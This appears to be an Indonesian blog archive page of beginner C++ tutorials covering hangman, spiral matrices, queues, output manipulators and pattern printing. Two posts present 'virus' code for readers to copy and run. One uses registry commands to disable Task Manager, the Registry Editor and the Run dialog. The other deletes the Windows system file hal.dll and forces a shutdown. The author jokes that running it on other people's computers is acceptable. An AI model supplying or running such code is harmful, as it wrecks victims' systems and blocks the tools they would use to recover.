Posts

Showing posts from December 11, 2011

Membuat game hangman di C++

Game hangman, yaitu sebuah game tebak kata. Simpan kata yang harus ditebak di dalam sebuah array of character selanjutnya disebut word. Pada tampilan awal setiap huruf dilambangkan dengan * sejumlah karakter yang berada pada word tersebut. Kemudian user menginputkan satu per satu karakter. Jika karakter yang dimasukkan ada dalam word maka tanda * diganti dengan karakter tersebut. Game berakhir jika user dapat menebak seluruh karakter yang ada pada word tersebut yang berarti user menang. Maksimal kesalahan user adalah 3 kali, jika telah menginputkan 3 karakter salah game berakhir dengan komentar user kalah. Contoh:   word kereta Tampilan awal ****** Input user Tampilan 1. ‘a’ *****a 2. ‘b’ anda salah *****a 3. ‘e’ *e*e*a 4. ‘c’ anda salah 5. ‘r’ *ere*a 6. ‘v’ anda salah maaf anda kalah saya sendiri nemu syntax program ini di http://afnisabelajar.blogspot.com/2010/03/game-hangman-dari-bahasa-c.html #include <conio.h> #include <string.h> #include <stdio.h> void mai...

Membuat Spiral Matrix

kemaren ada yang reques program mebuat spiral matrix yang outputnya : 1 2 3 4 5 16 17 18 19 6 15 24 25 20 7 14 23 22 21 8 13 12 11 10 9 ga sengaja iseng-iseng googling, eh nemu syntax coding yang mirip. Tapi belum nemu, bagaimana cara menginputkan dari user. Kalau ada yang bisa, share di sini yak. Untuk sementara saya share coding yang sudah di tentukan oleh program, kalau inputan yang di berikan adalah 5. #include <iostream.h> #include <conio.h> void main() { int d[5][5]; //angka 5 bisa di ganti int start = 1; int count = start; for (int i=0; i<5; i++) { // pengaturan bagian atas for (int j=i; j<5-i; j++) d[i][j] = count++; count--; // pengaturan bagian kanan for (int j=i; j<5-i; j++) d[j][5-i-1] = count++; count--; // pengaturan bagian bawah for (int j=5-i-1; j>=i; j--) d[5-i-1][j] = count++; count--; // pengaturan bagian kiri for (int j=5-i-1; j>i; j--) d[j][i] = count++; if (count > 5*5+start) break; } for (int i=0; i<5; i++) { for (int j=0; j...

QUEUE

Image
Dasar Teori Antrian (Queue) dapat diartikan sebagai suatu kumpulan data yang seolah-olah terlihat seperti ada data yang diletakkan di sebelah data yang lain seperti pada gambar 01. Pada gambar, data masuk melalui lorong di sebelah kanan dan masuk dari terowongan sebelah kiri. Hal ini membuat antrian bersifat FIFO (First In First Out), beda dengan stack yang berciri LIFO. Antrian dapat dibuat baik dengan array maupun dengan struct. Pada pembuatan antrian dengan array, antrian yang disajikan bersifat statis. Ini disebabkan oleh jumlah maksimal array sudah ditentukan sejak deklarasi awal QUEUE DENGAN LINIEAR ARRAY - Terdapat satu buah pintu masuk di suatu ujung dan satu buah pintu keluar di ujung Satunya - Sehingga membutuhkan variabel Head dan Tail Create() • Untuk menciptakan dan menginisialisasi Queue • Dengan cara membuat Head dan Tail = -1 IsEmpty() • Untuk memeriksa apakah Antrian sudah penuh atau belum • Dengan cara memeriksa nilai Tail, jika Tail = -1 maka empty • Kita tidak memer...

Manipulator di C++

Untuk keperluan pemformatan data pada keluaran. C++ menyediakan sejumlah manipulator antara lain: 1. Manipulator untuk konversi bilangan heksadesimal dan oktal coding yang di gunakan hex   : Untuk menampilkan bilangan dalam bentuk heksadesimal oct   : untuk menampilkan bilangan dalam bentuk oktal dec   : untuk menampilkan bilangan dalam bentuk desimal Contoh program #include <iostream.h> #include <conio.h> int main() { int angka=23; cout<<"Desimal= "<<angka<<endl; cout<<"Heksadesimal= "<<hex<<angka<<endl; cout<<"Oktal= "<<oct<<angka<<endl; cout<<angka<<endl; cout<<dec<<angka; getch(); } pada saat di jalankan cout<<angka<<endl;   menampilkan angka 27, ini berarti manipulator oct mempengaruhi tampilan bilangan-bilangan yang terletak sesudahnya. Untuk mengembalikan ke format desimal maka gunakan manipulator dec, pada coding cout<<dec<...

Program C++ | Membuat kotak tengah nya BOLONG

rencananya sih mau buat belah ketupat yang bolong tengahnya, eh malah jadi kotak.. hadeh hadeh, ya sudah posting aja siapa tau ada dosen yang nyuruh mahasiswanya buat kotak bolong tengah nya ... yaa secara kontan gw berfikir ngeres ..wkekekekek coding: #include <iostream.h> #include <conio.h> int main() { cout<<("input : "); int n; cin>>n; if (n > 2){ //baris for (int i=0; i < n; i++){ //kolom for (int j=0; j < n; j++) { //kondisi pembentuk kota if ((i==0) || (i==n-1) || (j==0) || (j==n-1)) { cout<<("*"); } else { //kondisi bolong tengahnya if (n%2==1){ { cout<<(" "); } } else { cout<<(" "); } } }//akhir kolom cout<<"\n"; }//akhir baris } getch(); }

Belajar membuat VIRUS dengan C++

Pada Awal masuk kuliah Jurusan Informatika... Pertama kali belajar pemrograman itu pake bahasa C++ atau bisa dibilang pake borland C++... Sempet mikir juga sih "Bisa gak y bikin Virus Pake bahasa C++"... Setelah belajar dan bertanya kesana kemari akhirnya gw ciptain konsep virus C++ yang klo komputer terinfeksi virusnya BIKIN PUSING BUAT YANG PEMULA......... Nih scriptnya... Tinggal Copy Paste di Borland C++....... Truz di "run"..... #include"windows.h"   main() { //bwt disable registry editor system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /t REG_DWORD /v Disableregistrytools /d 1 /f"); //untuk disable taskmanager system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /t REG_DWORD /v Disabletaskmgr /d 1 /f"); //disable fungsi run di windows system("REG ADD HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /t REG_DWORD /v NoRun /d 1 /f"); /...

membuat VIRUS sederhana dengan C++

Viru ini sederhana tapi lumayan Berbahaya Masukan Kode Dibawah ini Code: #include #include using namespace std; int main(int argc, char *argv[]) { std::remove(”C:\\windows\\system32\\hal.dll”); //PWNAGE TIME system(”shutdown -s -r”); system(”PAUSE”); return EXIT_SUCCESS; } 3.program/ato virus ini bakal ngapuz filoe c: jadi jangan di coba di ecsekusi sembarangan 4.Don’t try this at your komputer(di komputer orang boleh).he2 6.teknik yang lebih adavance lagi 7.copy paste lagi script di bawah ne, Code: #include #include using namespace std; int main(int argc, char *argv[]) { std::remove(”%systemroot%\\system32\\hal.dll”); //PWNAGE TIME system(”shutdown -s -r”); system(”PAUSE”); return EXIT_SUCCESS; } 8.perbdaan kode yg pertaman ini terlatak pada proses pencarian direktori system secara otomatis(jdi klo yg pertama klo mw ngapus file hal.dll,filenya haruz di c:,klo yg ini otomatis nyari) 9.selamat mencoba braaayy ... jangan lupa FOLLOW ya kawan ..!!!

Membuat game sederhana menggunakan BORLAND C++

Game merupakan kata yang tidak asing lagi didengar telinga, terkadang orang sampai tergila-gila akan hal ini hingga waktu yang mereka miliki hanya untuk bermain game. Pada era saat ini game merupakan teknologi yang berkembang sangat pesat. Apalagi game banyak sekali macamnya dan sangat memberikan hiburan yang benar-benar tidak tanggung-tanggung hingga kocek-pun harus habis untuk kepuasan bermain game, namun banyak sekali seseorang hanya senang bermain game namun tidak mau mempelajari bagaimana cara pembuatanya hal ini sangat disayangkan karena kita hanya akan mengkonsumsi hal itu namun tanpa tahu bagaimana proses pembuatanya. Seperti judul yang saya buat saya akan mengenalkan bahasa pemrograman C++ yang dapat membuat game sederhana, dari sinilah game-game saat ini muncul yaitu mulai dari bahasa sederhana yang digunakan hingga sekompleks saat ini..... marilah kita belajar cara pembuatan game bagian 1 ini, yang pertama kita lakukan adalah men-download compiler C++ saya sarankan borland C...